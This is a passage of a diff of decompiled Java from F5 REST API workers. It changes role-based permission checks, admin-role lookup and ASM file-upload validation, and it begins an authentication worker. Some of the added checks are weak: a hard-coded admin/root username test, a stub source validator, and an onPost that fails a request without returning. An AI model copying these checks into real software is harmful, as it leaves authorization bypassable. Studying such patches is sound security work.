(this.resourceGroupToRoleNames.containsKey(resourceGroup)) {\n ((Set<String>)this.resourceGroupToRoleNames.get(resourceGroup)).add(roleName);\n continue;\n }\n Set<String> roleSet = new HashSet<>();\n roleSet.add(roleName);\n this.resourceGroupToRoleNames.put(resourceGroup, roleSet);\n }\n }\n \n \n \n private void removeRolesFromUsers(String roleName, Set<RestReference> users) {\n for (RestReference userReference : users) {\n if (userReference.link == null) {\n continue;\n }\n if (this.userLinkToRoleNames.containsKey(userReference)) {\n getLogger().finestFmt(\"Removing role %s from %s\", new Object[] { roleName, userReference.link.toString() });\n \n ((Set)this.userLinkToRoleNames.get(userReference)).remove(roleName);\n }\n }\n }\n \n \n \n \n private void removeRolesFromResourceGroups(String roleName, Set<RestReference> resourceGroups) {\n for (RestReference groupReference : resourceGroups) {\n if (groupReference.link == null) {\n continue;\n }\n if (this.resourceGroupToRoleNames.containsKey(groupReference)) {\n getLogger().finestFmt(\"Removing role %s from %s\", new Object[] { roleName, groupReference.link.toString() });\n \n ((Set)this.resourceGroupToRoleNames.get(groupReference)).remove(roleName);\n }\n }\n }\n \n \n \n public void onDelete(RestOperation request) {\n getLogger().fineFmt(\"Attempting to DELETE role; uri: %s, referrer: %s\", new Object[] { request.getUri().toString(), request.getReferer() });\n \n if (isReadOnly(request)) {\n return;\n }\n completeDelete(request);\n }\n \n \n public void onDeleteCompleted(RestOperation request) {\n RolesWorkerState item = (RolesWorkerState)getStateFromRequest(request);\n \n synchronized (this.userLinkToRoleNames) {\n if (item.userReferences != null) {\n removeRolesFromUsers(item.name, item.userReferences);\n }\n \n \n if (item.resourceGroupReferences != null) {\n removeRolesFromResourceGroups(item.name, item.resourceGroupReferences);\n }\n \n this.roleNameToResources.remove(item.name);\n }\n \n request.complete();\n }\n \n \n \n \n \n \n public void onPost(RestOperation request) {\n getLogger().fineFmt(\"Attempting to POST role; uri: %s, referrer: %s\", new Object[] { request.getUri().toString(), request.getReferer() });\n \n updateBuiltInRoleCacheOnDemand(request);\n }\n \n \n public void onPostCompleted(RestOperation request) {\n RolesWorkerState postedItem = (RolesWorkerState)getStateFromRequest(request);\n addRole(postedItem);\n request.complete();\n }\n \n \n \n \n \n \n \n private boolean isReadOnly(RestOperation request) {\n if (!isExternalRequest(request)) {\n return false;\n }\n \n RolesWorkerState updateState = getStateToUpdate(request);\n if (request.getMethod().equals(RestOperation.RestMethod.DELETE) && (updateState.name.equals(\"iControl_REST_API_User\") || updateState.name.equals(\"Administrator\"))) {\n \n \n \n request.fail(new IllegalStateException(String.format(\"Cannot %s built in roles.\", new Object[] { \"delete\" })));\n \n return true;\n }\n \n return false;\n }\n \n \n \n \n \n \n \n private static boolean isExternalRequest(RestOperation request) {\n return (request.getReferer() != null && !request.getReferer().endsWith(TmosBuiltInRolesWorkerState.WORKER_PATH) && !request.getReferer().contains(RemoteStateCopier.class.getName()) && !request.getReferer().contains(\"shared/gossip\") && !request.getReferer().endsWith(WellKnownPorts.AUTHZ_TMOS_ROLES_SYNC_WORKER_URI_PATH));\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public void evaluatePermission(final RestOperation request, final String path, final RestOperation.RestMethod verb, final CompletionHandler<Boolean> completion) {\n if (isAllowedToAll(path, verb)) {\n completion.completed(Boolean.valueOf(true));\n \n return;\n }\n hasAdminRole(request, new CompletionHandler<Boolean>()\n {\n public void completed(Boolean isAdmin)\n {\n if (isAdmin != null && isAdmin.booleanValue()) {\n completion.completed(Boolean.valueOf(true));\n \n return;\n }\n completion.completed(Boolean.valueOf(RolesWorker.this.evaluatePermission(request, path, verb)));\n }\n \n \n public void failed(Exception ex, Boolean isAdmin) {\n completion.failed(ex, Boolean.valueOf(false));\n }\n });\n }\n \n \n \n \n private static boolean isAllowedToAll(String path, RestOperation.RestMethod verb) {\n if (verb == RestOperation.RestMethod.POST && (path.equals(EXTERNAL_EFFECTIVE_PERMISSIONS_WORKER_PATH) || path.startsWith(EXTERNAL_LOGIN_WORKER_PATH)))\n {\n \n return true;\n }\n \n \n \n \n if (verb == RestOperation.RestMethod.GET && (path.startsWith(EXTERNAL_ROLES_WORKER_URI_PATH) || path.startsWith(EXTERNAL_RESOURCE_GROUPS_WORKER_URI_PATH)))\n {\n \n return true;\n }\n \n return false;\n }\n \n \n private boolean evaluatePermission(RestOperation request, String path, RestOperation.RestMethod verb) {\n for (RestReference identityReference : request.getAuthIdentityReferences()) {\n if (evaluatePermission(identityReference, path, verb)) {\n return true;\n }\n }\n \n return false;\n }\n \n \n private boolean evaluatePermission(RestReference userLink, String path, RestOperation.RestMethod verb) {\n if (path.equals(userLink.link.getPath())) {\n return true;\n }\n \n \n \n \n if (!this.userLinkToRoleNames.containsKey(userLink)) {\n return false;\n }\n \n synchronized (this.userLinkToRoleNames) {\n \n if (!this.userLinkToRoleNames.containsKey(userLink)) {\n return false;\n }\n \n for (String roleName : this.userLinkToRoleNames.get(userLink)) {\n RoleResourceMatcher resources = this.roleNameToResources.get(roleName);\n if (resources.verifyResourceIsPermitted(path, verb)) {\n return true;\n }\n }\n }\n return false;\n }\n \n public void hasAdminRole(RestOperation request, CompletionHandler<Boolean> completion) {\n for (RestReference groupReference : request.getAuthGroupReferencesList()) {\n if (hasAdminRoleFromGroup(groupReference)) {\n completion.completed(Boolean.valueOf(true));\n return;\n }\n }\n RestReference authUserReference = request.getAuthUserReference();\n if (RestReference.isNullOrEmpty(authUserReference)) {\n completion.completed(null);\n return;\n }\n - if (!hasAdminRoleFromGroup(authUserReference)) {\n - completion.completed(null);\n - return;\n - }\n this.tmosRoleCache.get(authUserReference.link, completion);\n }\n \n private boolean hasAdminRoleFromGroup(RestReference userLink) {\n if (!this.userLinkToRoleNames.containsKey(userLink)) {\n return false;\n }\n synchronized (this.userLinkToRoleNames) {\n Set<String> roleNames = this.userLinkToRoleNames.get(userLink);\n return (roleNames != null && roleNames.contains(\"Administrator\"));\n }\n }\n \n private RoleResourceMatcher buildResourcesList(RolesWorkerState role) {\n Set<RoleResource> resources = new HashSet<>();\n \n if (role.resources != null) {\n resources.addAll(role.resources);\n }\n \n if (role.resourceGroupReferences != null) {\n for (RestReference resourceGroupReference : role.resourceGroupReferences) {\n if (RestReference.isNullOrEmpty(resourceGroupReference)) {\n continue;\n }\n Set<RoleResource> groupResources = this.resourcesGroupWorker.getRoleResourcesFromGroup(resourceGroupReference.link);\n \n if (groupResources != null) {\n resources.addAll(groupResources);\n }\n }\n }\n \n return new RoleResourceMatcher(resources);\n }\n \n \n \n private void queueUserRemoval(RestReference userReference) {\n getLogger().fineFmt(\"Queued removal of %s from roles.\", new Object[] { userReference.link });\n \n synchronized (this.userLinkToRoleNames) {\n if (!this.userLinkToRoleNames.containsKey(userReference)) {\n return;\n }\n }\n \n this.usersToRemove.add(userReference);\n processUserRemovalQueue();\n }\n \n \n private void completedUserRemoval() {\n this.isUserRemovalRunning.set(false);\n processUserRemovalQueue();\n }\n \n private void processUserRemovalQueue() {\n if (this.isUserRemovalRunning.compareAndSet(false, true)) {\n removeNextUser();\n }\n }\n \n private void removeNextUser() {\n RestReference userRef = this.usersToRemove.poll();\n \n if (userRef == null) {\n this.isUserRemovalRunning.set(false);\n \n return;\n }\n getLogger().fineFmt(\"Processing %s for removal from roles\", new Object[] { userRef.link });\n \n Set<String> roles = null;\n \n synchronized (this.userLinkToRoleNames) {\n if (this.userLinkToRoleNames.containsKey(userRef)) {\n roles = new HashSet<>(this.userLinkToRoleNames.get(userRef));\n }\n }\n \n if (roles == null || roles.isEmpty()) {\n completedUserRemoval();\n \n return;\n }\n for (String role : roles) {\n removeUserFromRole(userRef, role);\n }\n }\n \n \n private void removeUserFromRole(final RestReference userReference, final String roleName) {\n RestRequestCompletion getCompletion = new RestRequestCompletion()\n {\n \n \n \n public void failed(Exception ex, RestOperation operation)\n {\n RolesWorker.this.getLogger().fineFmt(\"Unable to GET %s to remove %s: %s\", new Object[] { this.val$roleName, this.val$userReference.link.toString(), ex });\n \n RolesWorker.this.completedUserRemoval();\n }\n \n \n public void completed(RestOperation operation) {\n final RolesWorkerState role = (RolesWorkerState)operation.getTypedBody(RolesWorkerState.class);\n if (!role.userReferences.remove(userReference) && !\"Administrator\".equals(roleName)) {\n \n RolesWorker.this.completedUserRemoval();\n return;\n }\n RestRequestCompletion putCompletion = new RestRequestCompletion()\n {\n \n public void failed(Exception ex, RestOperation putResponse)\n {\n if (putResponse.getStatusCode() == 404) {\n RolesWorker.this.completedUserRemoval();\n \n return;\n }\n RolesWorker.this.getLogger().fineFmt(\"Unable to update %s to remove %s, will retry. Error: %s\", new Object[] { this.val$role.name, this.this$1.val$userReference.link.toString(), ex });\n \n \n \n RolesWorker.this.queueUserRemoval(userReference);\n }\n \n \n \n public void completed(RestOperation putResponse) {\n RolesWorker.this.getLogger().fineFmt(\"Successfully removed %s from role %s\", new Object[] { this.this$1.val$userReference.link.toString(), this.val$role.name });\n \n RolesWorker.this.completedUserRemoval();\n }\n };\n \n \n RestOperation put = RestOperation.create().setUri(UrlHelper.extendUriSafe(RolesWorker.this.getUri(), new String[] { this.val$roleName })).setBody(role).setCompletion(putCompletion);\n \n \n \n RolesWorker.this.sendPut(put);\n }\n };\n \n RestOperation get = RestOperation.create().setUri(UrlHelper.extendUriSafe(getUri(), new String[] { roleName })).setCompletion(getCompletion);\n \n \n sendGet(get);\n }\n \n void removeResourceGroupsFromRoles(RestReference groupReference) {\n Set<String> roles = null;\n \n synchronized (this.userLinkToRoleNames) {\n if (this.resourceGroupToRoleNames.containsKey(groupReference)) {\n roles = new HashSet<>(this.resourceGroupToRoleNames.get(groupReference));\n }\n }\n \n if (roles == null) {\n return;\n }\n \n for (String role : roles) {\n removeResourceGroupFromRole(groupReference, role, 10);\n }\n }\n \n \n \n void removeResourceGroupFromRole(final RestReference groupReference, final String roleName, final int retries) {\n RestRequestCompletion getCompletion = new RestRequestCompletion()\n {\n \n \n \n public void failed(Exception ex, RestOperation operation)\n {\n RolesWorker.this.getLogger().fineFmt(\"Failed to remove %s from role %s: %s\", new Object[] { this.val$groupReference.link.toString(), this.val$roleName, ex });\n }\n \n \n \n public void completed(RestOperation operation) {\n final RolesWorkerState role = (RolesWorkerState)operation.getTypedBody(RolesWorkerState.class);\n if (!role.resourceGroupReferences.remove(groupReference)) {\n return;\n }\n RestRequestCompletion putCompletion = new RestRequestCompletion()\n {\n \n \n \n public void failed(Exception ex, RestOperation putResponse)\n {\n if (retries <= 0) {\n RolesWorker.this.getLogger().warningFmt(\"Failed to remove %s from role %s: %s\", new Object[] { this.this$1.val$groupReference.link.toString(), this.val$role.name, ex });\n \n return;\n }\n TimerTask task = new TimerTask()\n {\n public void run()\n {\n RolesWorker.this.removeResourceGroupFromRole(groupReference, roleName, retries - 1);\n }\n };\n \n \n \n RolesWorker.this.scheduleTask(task, true, (10 - retries) * 10, 0, 1);\n }\n \n \n public void completed(RestOperation putResponse) {\n RolesWorker.this.getLogger().fineFmt(\"Successfully removed %s from role %s\", new Object[] { this.this$1.val$groupReference.link.toString(), this.val$role.name });\n }\n };\n \n \n \n RestOperation put = RestOperation.create().setUri(UrlHelper.extendUriSafe(RolesWorker.this.getUri(), new String[] { this.val$roleName })).setBody(role).setCompletion(putCompletion);\n \n \n \n RolesWorker.this.sendPut(put);\n }\n };\n \n RestOperation get = RestOperation.create().setUri(UrlHelper.extendUriSafe(getUri(), new String[] { roleName })).setCompletion(getCompletion);\n \n \n sendGet(get);\n }\n \n \n void rebuildRolesWithRef(final URI resourceGroupSelfLink, final RestOperation groupRequest) {\n RestRequestCompletion getCollectionCompletion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n RolesWorker.this.getLogger().warningFmt(\"Failed to rebuild role resources: %s\", new Object[] { RestHelper.throwableStackToString(ex) });\n }\n \n \n \n public void completed(RestOperation operation) {\n RolesCollectionState collection = (RolesCollectionState)operation.getTypedBody(RolesCollectionState.class);\n \n \n RestReference resourceGroup = new RestReference(resourceGroupSelfLink);\n RolesWorker.this.rebuildResources(collection, resourceGroup);\n RolesWorker.this.resourcesGroupWorker.onRoleRebuildComplete(groupRequest);\n }\n };\n \n \n loadChildValues(getCollectionCompletion);\n }\n \n \n \n \n \n \n \n void rebuildAllRoles() {\n RestRequestCompletion getCollectionCompletion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n RolesWorker.this.getLogger().warningFmt(\"Failed to rebuild role resources: %s\", new Object[] { RestHelper.throwableStackToString(ex) });\n }\n \n \n \n public void completed(RestOperation operation) {\n RolesCollectionState collection = (RolesCollectionState)operation.getTypedBody(RolesCollectionState.class);\n \n synchronized (RolesWorker.this.userLinkToRoleNames) {\n for (RolesWorkerState role : collection.items) {\n RolesWorker.this.roleNameToResources.put(role.name, RolesWorker.this.buildResourcesList(role));\n }\n }\n }\n };\n \n \n loadChildValues(getCollectionCompletion);\n }\n \n \n void rebuildResources(RolesCollectionState collection, RestReference resourceGroup) {\n synchronized (this.userLinkToRoleNames) {\n Set<String> roleNames = this.resourceGroupToRoleNames.get(resourceGroup);\n if (roleNames == null) {\n return;\n }\n \n for (RolesWorkerState role : collection.items) {\n if (roleNames.contains(role.name)) {\n this.roleNameToResources.put(role.name, buildResourcesList(role));\n }\n }\n }\n }\n \n \n public static void failWithPermissionsInternalError(RestOperation request) {\n request.setBody(null);\n request.setStatusCode(500);\n request.fail(new Exception(\"Internal server error while authorizing request\"));\n }\n \n public void invalidateCacheForUser(URI userSelfLink) {\n this.tmosRoleCache.invalidate(userSelfLink);\n }\n }\n diff --git a/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java b/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java\n new file mode 100644\n index 0000000..99c2bd4\n --- /dev/null\n +++ b/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java\n @@ -0,0 +1,26 @@\n +package com.f5.rest.workers.asm;\n +\n +import java.util.ArrayList;\n +import java.util.List;\n +\n +public class AsmFileTransferConfiguration\n +{\n + List<String> allowedFileFormat = new ArrayList<>();\n +\n + public List<String> getAllowedFileFormat() {\n + return this.allowedFileFormat;\n + }\n +\n + public void setAllowedFileFormat(List<String> paramList) {\n + this.allowedFileFormat = paramList;\n + }\n +\n + public String getAllowedFileFormatAsString(String paramString) {\n + StringBuilder stringBuilder = new StringBuilder();\n + for (String str : this.allowedFileFormat) {\n + stringBuilder.append(str).append(paramString);\n + }\n + stringBuilder.deleteCharAt(stringBuilder.lastIndexOf(paramString));\n + return stringBuilder.toString();\n + }\n +}\n diff --git a/com/f5/rest/workers/asm/AsmFileTransferWorker.java b/com/f5/rest/workers/asm/AsmFileTransferWorker.java\n index 87e0610..16144f9 100644\n --- a/com/f5/rest/workers/asm/AsmFileTransferWorker.java\n +++ b/com/f5/rest/workers/asm/AsmFileTransferWorker.java\n @@ -1,133 +1,162 @@\n package com.f5.rest.workers.asm;\n \n import com.f5.rest.common.RestOperation;\n import com.f5.rest.common.RestRequestCompletion;\n import com.f5.rest.common.RestServer;\n import com.f5.rest.common.RestWorker;\n import com.f5.rest.common.UrlHelper;\n -import com.f5.rest.workers.FileTransferWorker;\n +import com.f5.rest.workers.FileTransferPrivateWorker;\n +import com.f5.rest.workers.asm.utils.AsmRequestValidator;\n +import com.f5.rest.workers.asm.utils.ValidationResponse;\n import java.net.URI;\n import java.util.ArrayList;\n import java.util.List;\n +import java.util.logging.Logger;\n \n \n \n public class AsmFileTransferWorker\n extends RestWorker\n {\n + private final Logger LOGGER = Logger.getLogger(AsmFileTransferWorker.class.getSimpleName());\n private String postDirectory;\n private String tmpDirectory;\n private String getDirectory;\n private final String PRIVATE_SUFFIX = \"-private\";\n private boolean isDownload;\n private String localUri;\n \n public AsmFileTransferWorker(String paramString1, String paramString2, String paramString3) throws Exception {\n this.postDirectory = paramString2;\n this.tmpDirectory = paramString3;\n this.isDownload = false;\n this.localUri = paramString1;\n }\n \n public AsmFileTransferWorker(String paramString1, String paramString2) throws Exception {\n this.getDirectory = paramString2;\n this.isDownload = true;\n this.localUri = paramString1;\n }\n \n \n \n public void onStart(RestServer paramRestServer) throws Exception {\n if (this.isDownload) {\n \n - FileTransferWorker fileTransferWorker = new FileTransferWorker(this.getDirectory);\n - fileTransferWorker.setPublic(false);\n - getServer().registerWorker(this.localUri + \"-private\", (RestWorker)fileTransferWorker);\n + FileTransferPrivateWorker fileTransferPrivateWorker = new FileTransferPrivateWorker(this.getDirectory);\n + fileTransferPrivateWorker.setPublic(false);\n + getServer().registerWorker(this.localUri + \"-private\", (RestWorker)fileTransferPrivateWorker);\n }\n else {\n \n - FileTransferWorker fileTransferWorker = new FileTransferWorker(this.postDirectory, this.tmpDirectory);\n - fileTransferWorker.setPublic(false);\n - getServer().registerWorker(this.localUri + \"-private\", (RestWorker)fileTransferWorker);\n + FileTransferPrivateWorker fileTransferPrivateWorker = new FileTransferPrivateWorker(this.postDirectory, this.tmpDirectory);\n + fileTransferPrivateWorker.setPublic(false);\n + getServer().registerWorker(this.localUri + \"-private\", (RestWorker)fileTransferPrivateWorker);\n }\n \n ArrayList<String> arrayList = new ArrayList();\n arrayList.add(\"/*\");\n getServer().registerCollectionWorker(arrayList, this);\n registerPublicUri(getUri().getPath(), null);\n \n super.onStart(paramRestServer);\n }\n \n \n protected void forwardRequest(final RestOperation request) {\n List list = request.getParsedCollectionEntries();\n RestOperation restOperation = (RestOperation)request.clone();\n \n +\n URI uRI = getUri();\n try {\n if (list == null || list.size() == 0) {\n uRI = UrlHelper.buildLocalUri(getServer(), new String[] { this.localUri + \"-private\" });\n } else {\n \n String str1 = request.getAuthUser();\n String str2 = str1 + \"~\" + ((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey;\n uRI = UrlHelper.buildLocalUri(getServer(), new String[] { this.localUri + \"-private\", \"/\", str2 });\n }\n \n } catch (Exception exception) {}\n \n \n restOperation.setUri(uRI).setCompletion(new RestRequestCompletion()\n {\n public void completed(RestOperation param1RestOperation) {\n String str = param1RestOperation.getBodyAsString();\n if (str == null || str.isEmpty()) {\n request.setBinaryBody(param1RestOperation.getBinaryBody());\n } else {\n \n request.setBody(str);\n }\n \n request.complete();\n }\n \n \n public void failed(Exception param1Exception, RestOperation param1RestOperation) {\n request.fail(param1Exception);\n }\n });\n sendRequest(restOperation);\n }\n \n \n \n protected void onGet(RestOperation paramRestOperation) {\n forwardRequest(paramRestOperation);\n }\n \n \n protected void onQuery(RestOperation paramRestOperation) {\n forwardRequest(paramRestOperation);\n }\n \n \n protected void onPost(RestOperation paramRestOperation) {\n + this.LOGGER.info(\"Validating the request\");\n + ValidationResponse validationResponse1 = validateRequest(paramRestOperation);\n + if (!validationResponse1.isValid()) {\n + paramRestOperation.setStatusCode(401);\n + paramRestOperation.fail(new SecurityException(validationResponse1.getMessage()));\n + }\n + ValidationResponse validationResponse2 = AsmRequestValidator.validateFileExtension(paramRestOperation);\n + if (!validationResponse2.isValid()) {\n + paramRestOperation.fail(new IllegalArgumentException(validationResponse2.getMessage()));\n + }\n forwardRequest(paramRestOperation);\n }\n \n \n protected void onDelete(RestOperation paramRestOperation) {\n forwardRequest(paramRestOperation);\n }\n \n \n protected void onPatch(RestOperation paramRestOperation) {\n forwardRequest(paramRestOperation);\n }\n \n \n protected void onPut(RestOperation paramRestOperation) {\n forwardRequest(paramRestOperation);\n }\n +\n + private ValidationResponse validateRequest(RestOperation paramRestOperation) {\n + ValidationResponse validationResponse = AsmRequestValidator.validateUserAuthorization(paramRestOperation);\n + if (!validationResponse.isValid()) {\n +\n + ValidationResponse validationResponse1 = AsmRequestValidator.validateUserHasFullAuthorization(paramRestOperation);\n + if (!validationResponse1.isValid()) {\n + return validationResponse;\n + }\n + return new ValidationResponse(true);\n + }\n +\n + return validationResponse;\n + }\n }\n diff --git a/com/f5/rest/workers/asm/utils/AsmRequestValidator.java b/com/f5/rest/workers/asm/utils/AsmRequestValidator.java\n new file mode 100644\n index 0000000..6f80b68\n --- /dev/null\n +++ b/com/f5/rest/workers/asm/utils/AsmRequestValidator.java\n @@ -0,0 +1,119 @@\n +package com.f5.rest.workers.asm.utils;\n +\n +import com.f5.mcp.data.DataObject;\n +import com.f5.mcp.io.Connection;\n +import com.f5.mcp.io.ConnectionManager;\n +import com.f5.mcp.io.ObjectManager;\n +import com.f5.mcp.schema.SchemaAttribute;\n +import com.f5.mcp.schema.SchemaStructured;\n +import com.f5.mcp.schema.auth.AuthModule;\n +import com.f5.mcp.schema.auth.UserRolePartition;\n +import com.f5.mcp.schema.common.McpUserRoleT;\n +import com.f5.rest.common.RestOperation;\n +import com.f5.rest.workers.asm.AsmFileTransferConfiguration;\n +import com.f5.rest.workers.filemanagement.FileManagementHelper;\n +import com.google.gson.Gson;\n +import java.io.BufferedReader;\n +import java.io.File;\n +import java.io.FileNotFoundException;\n +import java.io.FileReader;\n +import java.util.ArrayList;\n +import java.util.Arrays;\n +import java.util.List;\n +import java.util.logging.Logger;\n +import java.util.regex.Pattern;\n +\n +\n +\n +\n +\n +public class AsmRequestValidator\n +{\n + private static final Logger LOGGER = Logger.getLogger(AsmRequestValidator.class.getName());\n + private static final String MCP_PARTITION_ALL = \"[All]\";\n + private static final String MCP_PARTITION_COMMON = \"Common\";\n + private static final ArrayList<McpUserRoleT> allowedRoles = new ArrayList<>(Arrays.asList(new McpUserRoleT[] { McpUserRoleT.ROLE_APPLICATION_SECURITY_ADMINISTRATOR, McpUserRoleT.ROLE_APPLICATION_SECURITY_OPERATIONS_ADMINISTRATOR, McpUserRoleT.ROLE_RESOURCE_ADMIN, McpUserRoleT.ROLE_ADMINISTRATOR, McpUserRoleT.ROLE_APPLICATION_SECURITY_EDITOR }));\n +\n +\n +\n +\n +\n + private static String ALLOWED_FILE_FORMATS_CONFIG = \"/etc/asm-file-transfer-config.json\";\n + private static String FILE_REGEX;\n +\n + static {\n + try {\n + File file = new File(ALLOWED_FILE_FORMATS_CONFIG);\n + BufferedReader bufferedReader = new BufferedReader(new FileReader(file));\n + AsmFileTransferConfiguration asmFileTransferConfiguration = (AsmFileTransferConfiguration)(new Gson()).fromJson(bufferedReader, AsmFileTransferConfiguration.class);\n + String str = asmFileTransferConfiguration.getAllowedFileFormatAsString(\"|\");\n + FILE_REGEX = \"^[a-zA-Z0-9_. -~\\\\(\\\\)\\\\%]+\\\\.(\" + str + \")\";\n + } catch (FileNotFoundException fileNotFoundException) {\n + LOGGER.severe(\"FILE REGEX validator was not calculated:\" + fileNotFoundException.getMessage());\n + }\n + }\n +\n + public static ValidationResponse validateUserAuthorization(RestOperation paramRestOperation) {\n + String str = paramRestOperation.getAuthUser();\n + if (str == null) {\n + return new ValidationResponse(false, \"Could not get the authorized username for this incoming request\");\n + }\n +\n + boolean bool = (str.equals(\"admin\") || str.equals(\"root\")) ? true : false;\n + return new ValidationResponse(bool, String.format(\"User '%s' is not authorized\", new Object[] { str }));\n + }\n +\n + public static ValidationResponse validateUserHasFullAuthorization(RestOperation paramRestOperation) {\n + ConnectionManager connectionManager = ConnectionManager.instance();\n + if (connectionManager == null) {\n + ConnectionManager.init();\n + connectionManager = ConnectionManager.instance();\n + }\n + Connection connection = null;\n + try {\n + connection = connectionManager.getConnection();\n + ObjectManager objectManager = new ObjectManager((SchemaStructured)AuthModule.UserRolePartition, connection);\n + DataObject dataObject = objectManager.newObject();\n + dataObject.put((SchemaAttribute)UserRolePartition.USER, paramRestOperation.getAuthUser());\n + DataObject[] arrayOfDataObject = objectManager.getAll(dataObject);\n + if (arrayOfDataObject != null) {\n + for (DataObject dataObject1 : arrayOfDataObject) {\n + String str = dataObject1.getString((SchemaAttribute)UserRolePartition.PARTITION);\n + if (str.equals(\"[All]\") || str.equals(\"Common\")) {\n + McpUserRoleT mcpUserRoleT = (McpUserRoleT)dataObject1.getToken((SchemaAttribute)UserRolePartition.ROLE);\n + if (allowedRoles.contains(mcpUserRoleT)) {\n + return new ValidationResponse(true);\n + }\n + }\n + }\n + }\n + } catch (Exception exception) {\n + return new ValidationResponse(false, exception.getMessage());\n + } finally {\n + if (connection != null) {\n + connectionManager.freeConnection(connection);\n + }\n + }\n + return new ValidationResponse(false);\n + }\n +\n + public static ValidationResponse validateFileExtension(RestOperation paramRestOperation) {\n + List list = paramRestOperation.getParsedCollectionEntries();\n + if (list == null || list.isEmpty()) {\n + return new ValidationResponse(true);\n + }\n +\n + String str = ((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey;\n + if (!Pattern.matches(FILE_REGEX, str)) {\n + FileManagementHelper.cleanPostForResponse(paramRestOperation);\n + paramRestOperation.fail(new IllegalArgumentException(\"A valid file format must be supplied\"));\n + return new ValidationResponse(false, \"A valid file format must be supplied\");\n + }\n + return new ValidationResponse(true);\n + }\n +\n + public static ValidationResponse validateRequestSource(RestOperation paramRestOperation) {\n + LOGGER.info(paramRestOperation.getUri().toString());\n + return new ValidationResponse(true);\n + }\n +}\n diff --git a/com/f5/rest/workers/asm/utils/ValidationResponse.java b/com/f5/rest/workers/asm/utils/ValidationResponse.java\n new file mode 100644\n index 0000000..109fa81\n --- /dev/null\n +++ b/com/f5/rest/workers/asm/utils/ValidationResponse.java\n @@ -0,0 +1,26 @@\n +package com.f5.rest.workers.asm.utils;\n +\n +\n +\n +public class ValidationResponse\n +{\n + private boolean isValid;\n + private String message;\n +\n + public ValidationResponse(boolean paramBoolean) {\n + this.isValid = paramBoolean;\n + }\n +\n + public ValidationResponse(boolean paramBoolean, String paramString) {\n + this.isValid = paramBoolean;\n + this.message = paramString;\n + }\n +\n + public String getMessage() {\n + return this.message;\n + }\n +\n + public boolean isValid() {\n + return this.isValid;\n + }\n +}\n diff --git a/com/f5/rest/workers/authn/AuthnWorker.java b/com/f5/rest/workers/authn/AuthnWorker.java\n index 0658099..ddbe4cf 100644\n --- a/com/f5/rest/workers/authn/AuthnWorker.java\n +++ b/com/f5/rest/workers/authn/AuthnWorker.java\n @@ -1,555 +1,587 @@\n package com.f5.rest.workers.authn;\n \n import com.f5.rest.common.RestErrorResponse;\n import com.f5.rest.common.RestHelper;\n import com.f5.rest.common.RestOperation;\n import com.f5.rest.common.RestReference;\n import com.f5.rest.common.RestRequestCompletion;\n import com.f5.rest.common.RestRequestSender;\n import com.f5.rest.common.RestServer;\n import com.f5.rest.common.RestWorker;\n import com.f5.rest.common.UrlHelper;\n +import com.f5.rest.common.Utilities;\n import com.f5.rest.common.WellKnownPorts;\n import com.f5.rest.workers.AuthTokenItemState;\n import com.f5.rest.workers.RestResolverGroupEntry;\n import com.f5.rest.workers.authn.providers.AuthProviderCollectionState;\n import com.f5.rest.workers.authn.providers.AuthProviderLoginState;\n import com.f5.rest.workers.authn.providers.AuthProviderState;\n import com.f5.rest.workers.authn.providers.local.LocalAuthLoginWorker;\n import com.f5.rest.workers.authz.AuthSourceState;\n import com.f5.rest.workers.authz.AuthzHelper;\n import java.net.URI;\n import java.util.Collections;\n import java.util.HashMap;\n import java.util.Map;\n import java.util.concurrent.Callable;\n import java.util.concurrent.CancellationException;\n import java.util.concurrent.ExecutorService;\n import java.util.concurrent.Executors;\n import java.util.concurrent.Future;\n import java.util.concurrent.TimeUnit;\n import java.util.concurrent.TimeoutException;\n import java.util.concurrent.atomic.AtomicInteger;\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n -\n public class AuthnWorker\n extends RestWorker\n {\n public static final String LOGIN_PATH_SUFFIX = \"login\";\n public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { \"shared/\", \"authn\", \"login\" });\n \n public static final String MAX_NUMBER_LOGIN_FAILURE_MSG = \"Maximum number of login attempts exceeded.\";\n \n public static final String LOGIN_ERROR_MSG = \"Unable to login using supplied information. If you are attempting to login with a configured authentication provider it may be unavailable or no longer exist.\";\n \n public static final int MAX_NUMBER_LOGIN_FAILURES = 5;\n private static final long FAILED_ATTEMPTS_TIMEOUT = TimeUnit.MINUTES.toMicros(5L);\n \n private static final int GET_AUTHSOURCE_MAX_WAIT_MILLIS = 800;\n private static final int GET_AUTHSOURCE_BASE_WAIT_MILLIS = 10;\n private static final int GET_AUTHSOURCE_EXPONENT_FACTOR = 2;\n private static final int GET_AUTHSOURCE_EXPONENTIAL_ATTEMPTS = 5;\n private static final int GET_AUTHSOURCE_LINEAR_FACTOR = 50;\n private final int LOOKUP_AUTH_MAX_WAIT_MILLIS = (int)TimeUnit.SECONDS.toMillis(10L);\n private final int LOOKUP_AUTH_MAX_RETRIES = 10;\n private final Map<URI, AtomicInteger> lookupAuthRetryCountReferenceMap = Collections.synchronizedMap(new HashMap<>());\n \n private class LoginFailures\n {\n public int failures = 0;\n private LoginFailures() {}\n \n public long lastFailureMicros; }\n private final Map<String, RestReference> loginNameToReferenceMap = Collections.synchronizedMap(new HashMap<>());\n \n private final Map<String, LoginFailures> loginFailureMap = Collections.synchronizedMap(new HashMap<>());\n \n \n private final Map<URI, URI> subscriptions = Collections.synchronizedMap(new HashMap<>());\n \n \n \n \n public void onStart(RestServer server) throws Exception {\n setSynchronized(true);\n \n setMaxPendingOperations(10000L);\n setPersisted(false);\n setReplicated(false);\n setIndexed(false);\n setPublic(true);\n \n \n completeStart(null, new URI[] { UrlHelper.buildLocalUriSafe(server, new String[] { LocalAuthLoginWorker.WORKER_URI_PATH }), UrlHelper.buildLocalUriSafe(server, new String[] { \"shared/resolver/groups\" }) });\n }\n \n \n \n \n \n \n \n \n protected void onStartCompleted(Object state, Exception stateLoadEx, Exception availabilityEx) throws Exception {\n subscribeToAuthProviderGroup();\n \n +\n +\n + this.subscriptions.put(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH), 